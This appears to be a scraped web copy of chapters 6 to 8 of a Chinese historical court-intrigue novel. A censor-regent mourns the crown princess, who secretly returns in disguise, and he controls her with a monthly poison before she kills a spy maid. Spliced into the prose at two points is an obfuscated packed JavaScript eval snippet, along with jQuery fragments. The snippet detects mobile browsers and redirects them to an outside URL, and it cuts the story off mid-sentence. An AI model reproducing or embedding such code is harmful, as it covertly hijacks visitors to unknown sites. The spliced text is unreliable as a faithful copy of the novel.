那个傲得不可一世、令众生伏跪、已经可以在宣室殿指点江山的储君又怎会葬生畜生口? 薛壑百转千回,但凡她死得不是这样惨烈,但凡她遗骸完整、不是这样七零八落,但凡,但凡……又怎样呢? 五年七场狩猎,他只缺席了这一场。 偏偏天子没有责怪他的缺席,即便新婚当晚是他百般恳求离开,即便天子好话说尽无奈放行。但痛失储君的帝王,就是一句重话都没有。 甚至在葬礼结束后的第三日,传旨到他府中,先是恩赏他解青州之围的功绩,赞誉赏赐无数。后更是赐足了殊荣,道是虽他尚主入了天家,但怜他正值青年,待三年孝期过去,便可在宗正处除名,另行婚嫁。 圣旨传来时,薛壑正高烧昏迷,根本下不来榻。 他被父亲薛茂动了家法,黄荆抽身,背脊皮裂肉卷,血黏衣裳。 最后还是他母亲端了一碗药置父亲面前,要他歇手用药。父亲不理只气喘吁吁要继续抽打,母亲冷笑,“你大可用完药攒足力气再打,便是打死他也无妨。但你不用药,是要妾一夕之间,丧子又丧夫吗?” 薛茂停手用药,自然也就不会再动手。 毕竟人已伏地昏迷。 毕竟他也病得厉害。 是故,圣旨是薛茂代接,皇恩也是他入宫跪谢的。 谢恩回来,薛茂歇在薛壑榻畔,没有唤他,只将一封信放在他床头,然后看了他身上的伤,拾起扇子轻轻扇着。伤口灼痛,敷的药又让人隐隐作痒,一点微风拂过,让少年舒适不少。 但薛壑不知风是何时停的,只知道醒来时,父亲的目光落在他肩头,手也搁在上头,脸上仿佛还带着一点笑。 他肩头的伤,不是父亲打的,是在青州一战中留下的。 半生戎马的父亲曾说过,战士在战场烙下的伤痕,是他们的荣誉,值得骄傲。 薛壑细看父亲神态,在他浅淡的笑意里,隐隐留着骄傲色。 “阿翁,我以后再不任性了。”他撑起身去握父亲的手。 父亲的手从他肩头滑落,头亦沉沉垂下。 薛壑捧起他面庞,冰凉没有温度,亦没有呼吸。 * 这年七月,薛壑扶棺回益州,处理父亲的丧事。 丧事毕,他一人在祠堂跪了许久。看一个个牌位,尤似薛氏百年间的座座丰碑。 薛氏祖籍并不在益州,而是在兖州山阳。 两百余年前,天下还不姓江,乃赵郢天下。彼时薛氏已是一方豪族,屡立军功,被赵家王朝赐了赵姓。可是赵氏皇朝最后数十年不得民心,为如今的江氏所灭。江氏建立新朝之际,赵氏家主并没有主动改回薛姓,明面尊魏实乃心念赵家。 唯其侄子赵谨早年拜入苏氏门下,秉承恩师“民惟邦本,本固邦宁,凡利于民而周于事,不必法古不必循旧”之理念,看透前朝糜烂,忠心新皇。但到底因为家族渊源,即便身负才学、其心忠勇却依旧多年不得重用。 直到文烈女帝上位,慧眼识才,方得提拔,一路被扶至九卿位。不仅如此,文烈女帝还帮他与叔父切割,恢复薛姓。女帝思虑周全,恐他根基不稳,无法掌握盘根错节的家族,遂教他不要急于一时,只将愿意改姓者拢于手下,不愿改之还由其叔父统领。于是百年豪族一朝劈作两派,薛谨统领新派薛氏,居于扶风郡。显然这是女帝打压世家的第一步,但双赢的局面,薛谨很乐意。 十余年后,前朝余孽反扑,联合部分世家谋逆,其中便有原薛氏一族,后皆为女帝屠灭平定。而薛谨管辖下的族人莫说不曾受到牵连,就连仕途都没有分毫影响。按理说,至此薛谨可将族人安置于祖籍兖州山阳。 然他道,“臣生于长安,长于长安,半生任职于长安,他年约莫也当归于长安,山阳如何会是臣的故里?” 女帝闻之,便懂他意。 山阳薛氏谋逆在前,他恐归那处,令后辈子孙重蹈他因家族背景而有志难酬的覆辙。所以欲做绝对的切割,欲要养出一支以他为祖、新的薛氏。 女帝眺望伏于脚下的万里山河,“那就再等等,容朕给你寻快好地方。” 于是,在景泰廿八年,女帝将收复的南燕国都益州赐给了他;同时封他为益州侯,世袭罔顾;又择其幼子为驸马,尚主靖明皇太女;立下“大魏凡出女君,尚主者唯薛氏”之遗训。 如此殊荣,举朝皆惊。 薛谨虽任廷尉,掌一国律法,仕途半生无有差错,但还没有到封侯爷的地步。而在这之前,女帝隐隐透露要将益州赐给皇夫岳汀,封他为益州侯,后被他婉拒。 文烈女帝一生,有两位皇夫。其中第一任皇夫苏彦,乃是薛谨的同门师兄,亦是女帝的恩师和丞相。 史册载苏彦有违人伦,觊觎女帝,后又因与女帝政见向左,毒杀储君、勾结前朝余孽、领世家谋逆,终被流放至死。 史册又载,苏彦死后第五年,南燕朝中新起一位名唤岳汀的谋臣才名远播。但其人不满当朝君主昏聩,在大魏女帝征南途中,弑君夺权大开燕国门户,放大魏兵甲入南地,使之兵不血刃收复南燕。至此岳汀入长安,得女帝盛宠,为太女太傅,后拜相、位极人臣,半生相伴女帝,最后与帝同葬乾陵。 史册还载,景泰三十年,女帝在泰山封禅后,改年号为“沉璧”,令臣民震惊。因“沉璧”二字,乃罪臣苏彦表字。御史台反对强烈,然女帝我行我素,并不理会。后声音渐息,朝臣猜、坊间论,有没有可能岳汀便是苏彦? 那个清贵无暇、从来以天下为己任的世家公子被钉死在杀子、叛君、谋逆的耻辱柱上,史官落笔如刀不得更改。曾被他一手教养长大的女帝握着无上权利却也无法再为他正名,所以只能用种种似是而非的痕迹,用有违常理的行径,让世人去猜,去少讨伐他一些。 对薛氏破格的恩宠和殊荣,原也是女帝行径之一。 她说,“是师父提议的,他已经不是苏彦,只是岳汀。但是岳汀没有世俗的来处,亦不会有身后的子嗣血脉。他让我将这些都给你,让你代替他传承苏门的理念,让你的子孙护着大魏后辈君主,抵御万人之巅的严寒与残酷。如同当年他护着我。” “可以吗,小师叔?” 薛谨闻言长叩首。 如何不可以! 纵是没有这些恩赐,也是可以的。 他本就师承苏门,是抱素楼门下弟子。再者,若无女帝当年信之用之,帮之携之,可能他与妻儿已经在那场叔父参与的世家谋逆中受牵连陨身。 于是,曾弃武执笔的廷尉重新操刀,领族人入益州,成为大魏兵盾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“储君薨,帝无子尚有孙,如何轮到异姓继位?” 两王世子任其一继位,益州薛氏都可为大局持缄默,如今却不行。 然使者回话,道是半月前八月十三,两位世子不知何故,先后领人赶赴积香寺,都言对方是杀害宣宏皇太女的凶手,欲要为之报仇,结果双双死于火拼。 天子闻之痰血迷心,当下便散了意识。 翌日醒后,即封明烨为武安王,赐江姓,入宗庙,为帝第九子,后立为储君。 “御史大人,您快些请吧。如今您也是辅臣之一了。” 薛壑接了旨意却还是没有起身,只唤人吩咐事宜。其实使者是尚书台的人,温松门生,他不信旁人,也该信他。 但他实在难以置信。 直到十二日后,入长安探听消息的暗卫回来复命,同使者所言不差。 又道京城局势的确危急,眼下除了青州军其余在长安的三州军士并不愿称臣;而其他各州边军闻天子崩逝,传位异姓,都大有回京的趋势;甚至有人暗里提出,十三州各自为政。如今主持朝局的是尚书令温松,他空有威望却手中无兵很是被动,储君十三少年郎,所倚唯有青州军……是故当下都在等益州的反应。 薛壑默声颔首。 使者早已汗流浃背,求他快行,却闻暗卫又道,“已经按照公子吩咐,回来一路,以薛氏玉令传话诸州将领,无诏不得入京,朝上暂时安定了些。” 薛壑又看那匾额祖训,终于启程奔长安,扶新帝,肃朝纲。 * 物转星移,春秋代序,转眼已经是熙昌五年。 当年那一身黄荆抽出的伤早已痊愈,概因彼时有味止痛的药特殊了些,每年早春时节,气候湿冷,那些疤痕便隐隐发痒,带着些微的痛感。 这日下了雨,薛壑扶额撑在长案上,愈发难受。原不单是旧疾之故,实乃不知从何时起,这副身子又添新症,总是无端胸闷,腹痛,喉间腥嗓欲呕。医官说是长久费神、重压导致,劝他要放松身心,以免血淤在胸,伤到肺腑脾脏,引成大症。 他也想歇,但歇不下来。 一个半月前,除夕宫宴,大皇子溺亡了,宫城内外人心惶惶,新帝以护守不当为由,处决了一批羽林卫。羽林卫不是战场退下来的有功者便是长安勋贵子弟。如此一开杀戒,御史台上少不得卷宗成推,皆是认为君者罚之太过,要求匡正人君的文书。 二月春雨淅淅沥沥落下来,绵绵阴冷不绝,薛壑欲咳未咳,疲惫地闭上双眼。 “大人,人到了。”亲卫首领唐飞入内禀告。 薛壑闻声响,蹙眉抬眸,下意识摸到左手背上的斑驳疤痕,那处并非为荆条抽出,乃是烫伤所得,“信上说,后日才到,怎快了两日?” 他面色泛黄,胸腔中阵阵心悸,说话都带着喘息。 “是女郎的意思,道是与其避在途中躲风雨没个踏实地,不若星夜兼程入府踏实些,便一直催吾等快行!” 薛壑点点头,“让她进来吧。” 候在廊下的女郎,身量高挑,姣容温婉,莲步姗姗入内。一双秋水目如新月蔽云,雾蒙蒙露出一抹端庄笑意。同两年前初相遇,已是洗去了一身风尘味,养出两分朱门豪族里的淑女气息。 “九娘见过堂兄。”女郎盈盈一拜,行礼如仪,温柔又谦和。 薛壑漫不经心地瞥过一眼,垂眸在手背伤痕上,似想起了一些久远的事,许久没有抬头。 7.第007章 五年前,承华帝崩逝的消息传到益州,薛壑曾滞留十余日方奉召回京。后即便以“肃朝纲、镇京畿”为名,领五万薛家军出益州,令城外九州边军不敢妄动,城内三州边军顺服,然临到长安百里外的扶风郡,却仍旧停滞不前,再不入城。 先帝遗诏,任他为三公之一的御史大夫,兼任辅臣。按理他当马不停蹄上任,这等留守,实属大不敬。 但若这不是先帝遗诏呢? 储君、宗室子、天子接连死去,虽说皆有理可据,但他本能嗅到一股“阴谋”的味道。 即便明烨改了“江”姓,成了承华帝的子嗣,但他终究不是江氏血脉。 所以薛壑滞留扶风郡,还有一重意思,保命然后分权。 时有辅臣五人,在宣宏皇太女的基础上略有调整。 原尚书令温松、大司农封珩、光禄勋许蕤三人依旧如是。 原太尉穆辽和御史大夫申屠临因不同意立明烨为继承人、提议由琅琊王世子之女为皇太女,然其女尚在襁褓中,承华帝恐主少国疑而拒绝。穆辽性躁激怒承华帝,被赐死于未央宫,阖族流放幽州,太尉职则由青州军将领杨羽接任原御史大夫申屠临则秉承御史之责死谏、撞身碎骨于盘龙柱上。承华帝怜其坚贞,亦不想再多添亡故,遂下令厚葬,未再追究其家人。御史大夫一职便自然落到了薛壑肩上。 薛壑驻军扶风郡的第三日,温松出城与他见面。以上辅臣格局的变化缘由,乃温松亲口告知。 温薛两家乃世交,温门先祖温如吟是薛谨同门小师妹。苏门覆灭后,门下培养学子的抱素楼则由为温氏执掌,为朝廷选拔人才;薛氏领兵权赴益州,守国之门户。如此一内一外护大魏山河。 当年薛壑入长安,薛茂便是托温松代为照顾,薛壑很敬重他。 彼时百余日,难熬的不止薛壑一人,还有这位年过半百的老者。江瞻云是他最得意的弟子,承华帝是他从幼年便陪伴的君主,薛茂是他世交挚友,还有他精心栽培的长孙温颐,原该继他衣钵,如今却缠绵病榻、心神俱碎,许要白发人送黑发人。 温松在百日之间两鬓皆霜,头发白了大半,这厢见同孙子一般大小的少年郎,不禁老泪纵横。 世事多变,翻天覆地。 “你领兵而来,镇守京畿,护佑新帝,大功也。”温松问,“缘何不进城?” 少年并不答话。 温松长叹,“先帝弃宗室女而收异姓子,从江氏一家之姓看,自然对不起江氏先祖。但放眼天下,确实是最好的选择。宗室女尚在襁褓中,能否长大成人都是未知数。姑且能平安长大,但这不能作主的十余年谁来主政?你?我?还是按照边将所言,国分十三州,各自治之?再者,武安侯当年在战场救过陛下,亦为陛下挡箭殉国,留下这么点血脉,原就从小养在陛下膝下,也算得上陛下半子。他与宣宏皇太女的情分,你也是看在眼里的,称得上手足情深。其三,他如今已是十三少年郎,等过上两年立了皇后,诞下储君,大魏便依旧国祚绵长。” “你到底在顾忌甚?” 到底在顾忌甚? 薛壑自己也说不明白。 温松说得句句在理,他无法反驳。 有的只是本能和直觉。 “新主让我前来,赠你一物。”温松久在朝中,多少看出少年忌惮处,遂将一物捧上。 薛壑垂眸观过,眉眼果然松动些。 温松带来的是一枚卫尉印。 九卿之中有三位是手握军权的:光禄勋掌宫殿门户和宿卫,护卫天子左右;执金吾掌京畿兵甲,主理长安城安危;卫尉负责武库,统管军用器械。 如今卫尉职暂缺,青州军中杨羽领了武官的最高位太尉职后,原是想要将卫尉职由副将接手,后被明烨阻止,交由尚书台定夺。如此温松将这职务给了薛壑。 “你我原都遵先人共同的遗训,入城上任吧。” “晚辈年轻,忝居高位,原是心中惶恐,然国难当头,便也不惜性命,不论颜面。”薛壑将卫尉印接来,笑意不达眼底,“方才大人也说我薛家军此番大功,我便为我族人讨个封赏。” 少年把玩手中官印,眼神利而不澈,暗沉沉含了一层阴翳,“我还要尚书台三个职位,虎贲、羽林两处禁军中各一校尉职。另有十余人归于执金吾座下,此处阶品不必过高,陛下定之即可。还有,他年天子立后,只能立我薛氏女。江薛联姻不可废。” 御史大夫位列三公,贵极人臣,但只有监察权。政务的决策权在尚书台,执行权在九卿位。 所以薛壑狮子大开口,在得了九卿之一的卫尉职后,又要了尚书台十中之三的权力,同时又将族中子弟遍布执金吾座下,方便勘查长安城事宜,就连宫内禁军处都不肯放过,占职其中。如此一来,薛氏门人遍布朝野。 “此乃对陛下最好的护佑。” 温松当即抚掌称叹,凑近压声道,“也可防来日青州军一家独大,操控陛下。” “大人若是赞同,还劳您返回一趟宫中,替晚辈传话。” “我自是赞同的,但有一处要提醒你,你可还记得文烈女帝对薛氏的要求——非战事不出,唯尚主入朝。你这般谴人入朝中,来日稍有不慎便极易遭人非议……” “大人方才不是说了吗,我们乃遵同一遗训。”薛壑望向他,眼前又浮现益州祠堂中的那副匾额。 —— 民惟邦本,本固邦宁,凡利于民而周于事,不必法古不必循旧。 “后生可畏,后生可为啊!”温松满目欣慰,“我来时陛下说了,一切由我做主,皆可应你,只盼你早入城中。” 薛壑颔首,却还是没有入城,称病居于扶风郡。 直到尚书台的任命一一颁布送来,直到薛氏的族人一一走马上任站稳脚跟,直到转年熙昌元年的正旦会,他才谴五万薛家军返回益州,自己领亲卫赴未央宫。 未央宫中十四岁的少年亲至北宫门迎接,薛壑俯首称臣,君仁臣恭。 * 这样的和谐之态延续在往后的数百时日里,漫长地让薛壑在午夜梦醒时分,不由自我怀疑,当初那点直觉是错的。 毕竟如今皇城安定,边地无声。御座之上的少年勤政好学,广开言路。更重要的是他从不独裁己定,凡有政事都亲来问他,后交由尚书台裁定。所有流程都依法度,不以权凌人。这点胜过宣宏皇太女,皇太女当年身在宣室殿,执掌尚书台,超过三成政务都是一锤定音,不纳他谏。 想起宣宏,薛壑才稍干的汗珠又从额角后背滋生。 他总在梦中看见她那截残臂,闻到皮肉腐烂的气息。他看不清她的面容,也想不起她具体容貌。她活着的那些年,他见她时十中七八隔着一层帘幔,要么隔着十一赤珠冕旒。 梦中看见她肢体,耳畔便想起承华帝话语。 他说,“当日七七主持夏苗,着骑衣,佩此项圈并不协调,但还是佩身示于众臣前。她骄纵不假,却也识礼。” 他说,“朕私心想着,你们夫妻一场,让此铃铛伴于她身侧,且当是你还在她身边,时时教诲,岁岁相陪。” 他不问责只嘉赏,他甚至取消了他们的婚约,许他自有婚配……皇恩浩荡。 薛壑听得懂,也看得懂,承华帝是以怀柔之策要了他的一生,要他一生牢记年少失责,酿成的大祸。 其实,承华帝不作此举,他也不能忘记的。 他与江瞻云之间虽不存在什么情深意切、海誓山盟,但他们做了夫妻,做了君臣,他为夫没有护住妻子,为臣没有护佑君上,便是罪孽深重,当以余生相赎。 可是要怎么赎? 按当下时局,该是他倾尽全力辅弼少帝,使政通人和,国泰民安。他确也是这般做的,做得还不错。 除了接掌卫尉职的叔父薛允已经不止一次提醒他,是时候该将薛家人手撤出长安,还政给天子,以防尾大难调头。 他甚至直言不讳,“薛氏族人并非个个如嫡系子孙被自幼精心教导,深谙朝堂险恶,懂得韬略权术,多得是当作兵士培养。即便懂,但久在益州,远离政权,长安风云诡谲比益州川中要复杂许多,易腐蚀人心。为家族长远计,还是让他们早日归去。” 薛允说这话的时候,是熙昌三年的正月。长安城章台街上最大的“香悦坊”早早开门迎客,薛壑才从那处归来。 近来一段时日,他常乔装去那,择一厢房,要一壶茶,听台上琴瑟琵琶,看廊下客往迎来。 头一回闻“香悦坊”三字,是他来长安的第四年,手下侍御史同他讲的。 侍御史说,“殿下去了章台街的香悦坊。” 他知道章台街,但还是侥幸地想“香悦坊”许是其中的特殊之地。毕竟,哪有一国储君出入秦楼楚馆的。 当下,私服前往。 结果发现香悦坊果真特殊,它是全长安最大的秦楼楚馆。 彼时,他的未婚妻、皇朝的太女殿下,正一身男装,摇着一柄折扇,同另一个纨绔争夺美娇娘。 恩银从一金喊到百金,千金…… 侍御史是个比他还耿介的少年,“大人,明日是上参本还是开谏言?” 他合眼又睁眼,目光如箭盯着那副侧颜,抵牙根吐出话来,“殿下这几日都同本官在一起,你眼花了。” 话毕拂袖离去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071632|179249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >去而又返,落话在发懵的侍御史耳畔,“非议君上,死罪尔。” 后来,他发现,她不仅流连风月场,还出入赌坊间。六博技艺高超,五木之术精通(1)。他嗤之以鼻,私下劝诫,结果都是以吵架不欢而散。 如今细想,她左右不过就是贪玩些,也不曾耽误政务,更不曾闹出事来,何必扫她兴! “再等等……”他回应叔父的提议。 再等等。 等什么? 他也不知道。 迷茫又彷徨。 许是在等时间来验证新帝真的是个好君主,乃临危受命坐上那张龙椅;许是在等他心中那点“直觉”成真,等天子露出马脚。 他看着薛允,如今九卿之一的卫尉。 其实还是有端倪的,这两年里琅琊王世子之女两周岁生辰宴上染风寒殁了,这意味着江氏最后的血脉彻底断绝。还一桩蹊跷事,便是当年离京办差的庐江长公主失踪了。本来薛允接此卫尉职,是打算待她归来便还给她的,却不料经年过去竟是生不见人死不见尸。 薛允为家族虑,有些执拗道,“等多久?” 薛壑默了许久,“再等两年。” 前后五年时间,足矣让人露出马脚,也足矣让他权力稳固。 许是天命顾他,未到两年,就在这一年的孟春,他在扶风郡散心时,一支箭矢射在他出行的马车上。 箭头带着一张布帛。 布帛上书一诗:明霞染春愁,夺日照水流。青峦叠翠深,贪看春未休。 一首藏头诗。 明、夺、青、贪。 明夺青贪! 他反复诵读这四个字,眉眼在这个春日里重新聚出光彩,全身的血液在叫嚣,癫狂的笑声在山谷之中回荡…… 踏青归来,他重临香悦坊,赎下了因意外毁容而不曾接客的女子落英。择她最大的一个缘故是,江瞻云救过她的命。当初他入香悦坊未几,被她识出身份,差点遭她毒手,她说他没有保护好殿下,要他为殿下偿命…… 伤愈疤痕在。 薛壑低垂的视线里,是左手背狰狞恐怖的烫伤疤,这会右手正慢里斯条地摩挲着。 “陈年旧伤,大人这般小气。” 娇声软语萦绕耳畔,唤回他的神思。视线里玉足抬离地面,裙裾涌动。 薛壑终于有了反应,抬起一双疏离冷厉的眼,慑住她上前的步伐。 女郎愣了瞬,下意识咬住唇瓣,又忍不住开口,“唤你阿兄久不得应,妾才改口……” 她没能说完后头话,便被男子长步上前,捏住双颊,抬起下颌,毫无余地地喂入一颗药,然后又被巧劲一推,咽了下去。 “什么药?” “毒药?” “有没有解药?” 江瞻云抠着喉咙,几乎就要吐出本音,恨不得扇他一把掌。 “这药叫‘半月阴’,每月十五月圆日发作,毒发时磨人五脏,毒不死人,但比死遭罪。我以后会在每月十五晚膳时给你一颗,服下便无碍了。好好听话,不要擅作主张,事成之后会有一劳永逸的解毒法子。但若不听话,毒素日积月累,一样会死人的。” “为殿下事,我比你上心。”女郎哼声。 本已回身的男人顿下脚步,转头看她,眼中无波,面上无澜,无声无息,威压在四下弥漫。 江瞻云打了个激灵,她入了御史府,离宫城更近,她是他的堂妹薛九娘,不是香悦坊的落英。 “阿兄说的,我都记下了。”她讪讪低了头。 “路途劳顿,回房中歇息吧。” 男人复了寻常色,坐回席案前。 江瞻云转身深吸了口气,喉间尤是那颗药丸滑下的触感。纵是落英与他同仇敌忾,但他到底保留信任,所以恩威并施。手段是下作了些,但走在刀剑上,小心使得万年船。她能理解,姑且忍了。只是才踏出殿门,不禁又返身回来。 “今日便是十五,再过半个时辰就晚膳了。”她伸出手,讨要下一枚纾解的药。 “我的命令是十七到。” “嗯,我风雨兼程提前到了。”女郎挑起长眉。 “所以这日没有药,乃对你自作主张的惩罚。”薛壑握着一卷卷宗读阅,头也没抬,便也不曾看见面前人如刀似剑的眼神。 做好事都不行? 江瞻云怔了半晌,面上的笑凝固又展开,翻涌的气血被拼命压下,尽量话语平和道,“九娘受教了。”言罢,还不忘福一福身,方才离开。 真是龙游浅滩遭虾戏,落地凤凰不如鸡。 长廊拐角最后瞥见他身影,江瞻云在心底咬牙切齿地骂。 8.第008章 早春二月,天还是寒的。 晚间雨霁云开,一轮明月挂在天际,月光惨白。 但白不过江瞻云的面色。 她身上盖了一条被子,蜷缩在榻上,浑身冷得发抖。 毒发在一个时辰前,的确磨人,初时五脏六腑似针扎戟搅钝刀划拉,心脏急跳,胃里欲呕,脾将破裂,肝要烂透,肺难呼吸。 最难熬的一刻钟,她几乎就要喊出“薛壑”二字,喊他和他说“以后全凭你作主”。 这句话滚在舌尖唇瓣,被她生生咽了回去。且当是天将降大任于斯人也,必先劳其筋骨饿其体肤苦其心志……她过了十八年金尊玉贵、呼风唤雨的日子,前时托掌天下,如今复仇夺位,都是大任,就当新苦旧难一起吃了。再说,反正疼不死,大不了就疼晕。要是开口实在跌份,她就没向谁讨饶过。 脑子里颠来倒去地挣扎了一会,还是不可控制地喊了他,可惜力气都散尽了,连声都发不出。 瞧瞧这天意! “桑姐姐,女郎她好像要水喝!还有这个汤婆子不烫了。”晚间新拨来的丫鬟绣月很有眼力劲,侍立在床榻一头。 桑桑给江瞻云擦去鬓边冷汗,忍不住又一次环顾屋内,没有地龙也罢了连个暖炉都没有,床榻还这般硬,被褥也是寻常棉絮,厚实是厚实了但半点不柔软。四下里更是只摆了一张辨不出何种木质的桌案,一副半旧不新的妆台,唯一值点钱的就是上头那面青铜镜。这三公之一的御史大夫,可真够两袖清风的。 “我去给女郎换水,你来照看女郎。”桑桑接过汤婆子,叮嘱道,“旁的都好说,就一条女郎这病不可沾水,再渴都不能给她喝,否则病就更重了,许还会有性命之忧。” 绣月闻言一个劲点头,上来学着桑桑的样子,给她擦汗掖被。 江瞻云冻得唇瓣灰白,见桑桑离开拐去侧间,一把抓住绣月的手,哆哆嗦嗦开口。 “女郎说甚?” “是要去请大人吗?” “大人,大人他就在外头。” “婢子去给您请!” 江瞻云发不出声,拽住她摇头。 “您想说什么?” “水?” “可是桑姐姐说,您这会万不能喝水,婢子……” “一点,就一点……”江瞻云昏昏沉沉乞求,“不、不碍事……” 小姑娘许是心太软,见外头庭中人影背对,又见榻上女郎楚楚可怜,桑桑在外间手忙脚乱地换水,犹豫再三,到底起身给她倒茶。 “姑娘,你快喝!”绣月一边瞧着侧间一边扶起江瞻云,将水喂入。 “是不是想害死我,滚!”谁料榻上人恢复了些许意识,抬手掀翻茶盏,泼了她一身,却又难耐焦渴,巴巴看着榻沿上的水流。 绣月跪在榻畔,频频磕头不敢言语,半晌闻哭声哽咽,方悄悄抬眼。一瞥却愣住,女郎正在饮榻畔残留的水珠,这会也抬了眸,与她两眼撞上,吓得她又低眉伏身。 “喝一点,应该死不了。”江瞻云躺回榻上,垂在床沿的手弯了弯手指,示意丫头上前。 绣月跪行至榻畔。 “我不和旁人说饮了水,你也闭上嘴。” “婢子不说,不说。” “那你再去倒一盏。”江瞻云低斥,“ 快——” 绣月环顾四下,匆匆来到案前又倒一盏,奈何桑桑拢着暖炉进来,茶便不曾送入江瞻云口中。 “女郎瞧着好些了。”桑桑坐在榻畔给她顺气。 江瞻云翻了个白眼,“几时了?” “子时四刻。”桑桑看了眼门边的滴漏,目光扫过外头身影,面上顿起一层薄怒,“女郎,婢子给您擦洗一番,换了亵衣睡下吧。” 江瞻云阖着眼睛,面色重新难看起来,身子随之紧绷,“还没完呢。” 半月阴,药如其名。 毒发的一个时辰内,她约莫发现了规律。一刻钟的疼痛,一刻钟的寒意,来回循环,疼和冷逐次递增。 但这毒能在每月月半发作,当是糅合“月阴”之理。毒发最重时当在至阴之际,也就是子时。如今子时未过,便还不曾结束。 杜衡行走江湖,曾和她说过许多江湖密术,大多结合自然节气、天地阴阳,原不足为奇。 只是不知那个出身益州、一贯瞧不起三教九流的名门公子,怎会也接触这些? 唔!人是会变的,他连青楼都进了,接受些新事物不奇怪。 说起这人,确实变化不小,白日里阴恻恻的回眸一眼,唬她一跳。以前没见他这般凶过啊!他回回被她气得发脾气,怒意堆在眼底,似火从地心烧起,盖也盖不住。嘴里说着“微臣告退”以示恭敬,离开时两袖盈风。她起了顽心喝他站住,见止步的人后背肩胛骨开合,衣袍生褶。于是绕到他面前逗他,不用看也能猜到胸膛起伏如潮,全是翻涌的怒意。即便努力低垂眉眼,做出一副臣子恭顺姿态,然喜怒全在面上,惹她又一阵发笑,他便更怒了,有时眼睛都能被气红。这如今都能喜怒不形于色了,还能不怒自威,有长进!就是身子瞧着不太好,今日见他脸色苍白泛黄…… 江瞻云忍着痛楚,尽量让自个想些旁的来分散注意力,莫名就想起了下毒的始作俑者。 始作俑者。 她咬着被褥叹气,还轮不到他。毕竟那一箭不是他射的,如今最大得益者也不是他。 滴漏声声,一刻钟过去,寒意换作了痛楚,江瞻云捂着胸口,疼与痛都算不了什么。当初箭入胸膛,她跌在泾河里,夏秋交接时节,又是在山中,水底冰凉彻骨,还有后来的切肉取箭,刮骨去毒,那样疼那样冷她也熬过来了……这会自然也能熬过去。但是救治她的大夫叮嘱,她的伤拖得太久,寒气入了肺腑,后续得好生保养,若是来回受伤生病,定会落下病根。 还有半个时辰。 江瞻云看了眼滴漏,打着冷颤开口,“去让他滚进——” 话未说完,薛壑已经推门进来。 “吃了。”他将药递上来,抬手示意绣月去屋外伺候。 未待桑桑接过,江瞻云已经从榻上卷着被子奔来夺过咽下。 她急于用药,又冷得不行,跌坐在地裹着被子缓了半晌,直待冷意退去,攒出一点力气,忽就推了薛壑一把。 薛壑这两日身子一直不爽,这会虽好了些,但还是周身乏力。又一时不防,这个人晃了下跌退一步,不由蹙眉看她。 见她将被子重新裹了裹,原是她方才冲过来太快,被子盖在了他靴面上。 但又不是他伸脚去了她被下,正常该是她自己将被子往边上挪挪,或是抱被回榻上。这一推好像是他的错,他似登徒子故意得一般。 简直同她那敬仰的恩人如出一撤,蛮横不可理喻。 江瞻云也有些反应过来,虽然泼水砍杀他的事借着落英这张皮她也做过,但总归被药折腾了这般许久,不可过于盛气凌人,人在屋檐下,还是软和些好。当下怯生生觑他一眼,软绵绵臣服于药性,裹着被子往边处靠了靠。 “丽娘与我说过,你幼时吃了不少苦,还做过人靶,身有箭伤。容貌被伤后,治疗的药有些寒性极重,经不起磋磨。今日这些也够了,长记性便好。”薛壑看她神色,知她有了畏惧,便也不再为难。 他看了眼候在外头的绣月,又想了想未再唤入屋内,自让桑桑将人扶起,自己将臂弯将一袭披风给在案上,倒了盏茶递给她。 “用过后,歇下吧。 ” 那是早早备好的参须茶,补气又不至于虚不受补,如此一盏入腹,江瞻云缓过几分劲来,扫过那袭披风,扬声将绣月唤了进来。 “这丫头是阿兄亲自为我挑的吗?”她打量着小姑娘,眼神笑盈盈投向薛壑。 薛壑本想这夜作罢,如今被她唤起两分兴致,笑笑道,“是掌事买来的,长得秀气,人也机灵,我不用女侍,给你了。 ” “不是阿兄挑的?”江瞻云将福身半蹲的小姑娘扶起来,细瞧她模样,“我是说,阿兄没有过手验验吗?” “没有!”薛壑坐下身来,“怎么,她今晚服侍不好?那我给你换了。” “不,她今晚可尽心了。我正打算赏她些什么!”江瞻云转头从桑桑头上拨下一枚发簪,“赏你了!” 话从口中吐出,小姑娘伸手却没能握住发簪,那支簪子先一步刺进了她脖颈,簪头那端的手一施力,簪尖入肉断喉夺人性命,热腾腾一股鲜血溅出,人委顿在地,两手紧捂喉咙瞪着眼珠扑棱。 薛壑眉宇深皱,大约未曾想到对方如此血腥凌厉。 “怎么看出来的?”薛壑问。 桑桑眼明手快,已 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薛壑抬眸看她,眼中难掩满意,“本以为今日你身子虚弱,精力不济,辨不出也无妨。不想竟还能让我有意外之喜。果真聪敏。” “那当然!”江瞻云乌黑的眸子转过一圈。 “别得意,我还有问题。你既然确定这人是我府中细作,那还想到其他事吗?” 江瞻云抚着披风上油光水亮的风毛,将声音压得低些,“您府上的细作,针对我而来,那便是天子的人。” “其一,您和天子之间,已经没有早些年的和睦,如今光景乃面和心不和,只是谁也不敢提前撕破脸。其二——”江瞻云看了眼地上已经断气的人,“其二,观此人今日举动,要么脑子不好,不是一个合格的细作;要么是个聪明的,但是被催得太急,为了杀我、不让你薛氏女染指后位,连命都不顾了。然无论何种情况,都说明天子暂处劣势,您在上风。” 薛壑正案跽坐,江瞻云侧边俯身,目光凝在披风上。他隔着烛火望过去,女郎侧颜在烛火中晕染出模糊的轮廓。 “阿兄,我今日住哪?”她拿起披风抖开,抬手披在自己身上。 烛火晃动,明明灭灭。 光影中的身形轮廓莫名熟悉。 薛壑有些发怔。 